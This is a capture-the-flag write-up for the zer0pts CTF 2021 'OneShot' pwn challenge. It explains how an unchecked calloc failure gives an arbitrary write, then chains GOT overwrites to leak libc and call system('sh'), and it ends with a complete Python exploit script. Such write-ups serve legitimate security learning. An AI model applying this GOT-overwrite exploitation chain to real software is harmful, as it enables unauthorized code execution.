# OneShot - zer0pts CTF 2021 ###### tags: `zer0pts CTF 2021` `pwn` ## Challenge Overview The target program is very simple. ```c= int main() { int *arr = NULL, n = 0, i = 0; printf("n = "); scanf("%d", &n); if (n >= 0x100) exit(1); arr = calloc(n, sizeof(int)); printf("i = "); scanf("%d", &i); printf("arr[%d] = ", i); scanf("%d", &arr[i]); puts("Done!"); return 0; } ``` The vulnerability is obviously out-of-bound write at line 14. ## Solution ### GOT Overwrite Basically, there's no use of overwriting data around the heap chunk allocated by `calloc`. So, we abuse the fact that the return value of `calloc` is not checked. If we pass a negative value to `calloc`, it fails and returns NULL. However, this is not checked and eventually we can write to `NULL + i*4`. This is a very strong primitive because PIE and RELRO are disabled. Now we can overwrite GOT! ### Gaining Infinite Loop 4-byte-write is not enough. To get infinite AAW, we set `puts@got` to the address of the main function. `puts` is used only at the end of the main function and thus we get AAW in an infinite loop. ### Leak Libc How to get the address of libc? My solution is overwrite `calloc@got` to `printf@plt`, then set `n` to the address where we want to leak. `calloc(n)` works as `printf(n)` and we get AAR. There are two problems however. The first problem is that the program exits when `n` is larger than 0x100. In the graph view, it looks like this: ![](https://i.imgur.com/rikZIaD.png) In the assembly, it looks like this: ![](https://i.imgur.com/nXp5YZY.png) So, if we overwrite the GOT of `exit` and make it something meaningless, we can move to the path for `n <= 0xff`. This way we can bypass the check of `n`. The second problem is that we can write 4-byte every time. When we try to overwrite the address of `calloc`, the upper or lower 4 bytes are corrupted and crashes on the next `calloc` call. Be aware that we don't actually call `calloc`. So, we can skip it by setting `exit@got` to the address after the `calloc` call. I used `call rax` gadget in order to skip `calloc`, because it can align RSP to avoid crash on movaps. After leaking the libc address, just overwrite `calloc` with the address of `system` and execute `/bin/sh`. ## Exploit ```python= from ptrlib import * elf = ELF("../distfiles/chall") #libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so") #sock = Process("../distfiles/chall") libc = ELF("../distfiles/libc.so.6") sock = Socket("localhost", 9004) addr_sh = elf.section('.bss') + 0x100 addr_main = elf.symbol('main') addr_skip = 0x4007a8 rop_ret = 0x004005ce rop_call_rax = 0x004005c8 """ Step 1) Get stable write primitive """ # make infinite loop sock.sendlineafter("n = ", "-1") sock.sendlineafter("i = ", str(elf.got('puts') // 4)) sock.sendlineafter("= ", str(addr_main)) """ Step 2) Leak libc address and prepare "sh" """ # skip exit and calloc sock.sendlineafter("n = ", "-1") sock.sendlineafter("i = ", str(elf.got('exit') // 4)) sock.sendlineafter("= ", str(rop_call_rax)) # align rsp # overwrite calloc sock.sendlineafter("n = ", str(addr_skip)) sock.sendlineafter("i = ", str(elf.got('calloc') // 4)) sock.sendlineafter("= ", str(elf.plt('printf'))) sock.sendlineafter("n = ", str(addr_skip)) sock.sendlineafter("i = ", str((elf.got('calloc') + 4) // 4)) sock.sendlineafter("= ", str(0)) # skip exit and call calloc sock.sendlineafter("n = ", str(addr_skip)) sock.sendlineafter("i = ", str(elf.got('exit') // 4)) sock.sendlineafter("= ", str(rop_ret)) # skip exit # leak libc address sock.sendlineafter("n = ", str(elf.got('printf'))) libc_base = u64(sock.recv(6)) - libc.symbol("printf") logger.info("libc = " + hex(libc_base)) sock.sendlineafter("i = ", str(addr_sh // 4)) sock.sendlineafter("= ", str(u32('sh\0\0'))) """ Step 3) Call system("sh") """ # skip exit and calloc sock.sendlineafter("n = ", str(elf.section('.bss') + 0x400)) # valid pointer sock.sendlineafter("i = ", str(elf.got('exit') // 4)) sock.sendlineafter("= ", str(rop_call_rax)) # align rsp # overwrite calloc addr_system = libc_base + libc.symbol("system") sock.sendlineafter("n = ", str(addr_skip)) sock.sendlineafter("i = ", str(elf.got('calloc') // 4)) sock.sendlineafter("= ", str(addr_system & 0xffffffff)) sock.sendlineafter("n = ", str(addr_skip)) sock.sendlineafter("i = ", str((elf.got('calloc') + 4) // 4)) sock.sendlineafter("= ", str(addr_system >> 32)) # skip exit and call calloc sock.sendlineafter("n = ", str(addr_skip)) sock.sendlineafter("i = ", str(elf.got('exit') // 4)) sock.sendlineafter("= ", str(rop_ret)) # skip exit # win! sock.sendlineafter("n = ", str(addr_sh + 6)) sock.interactive() ```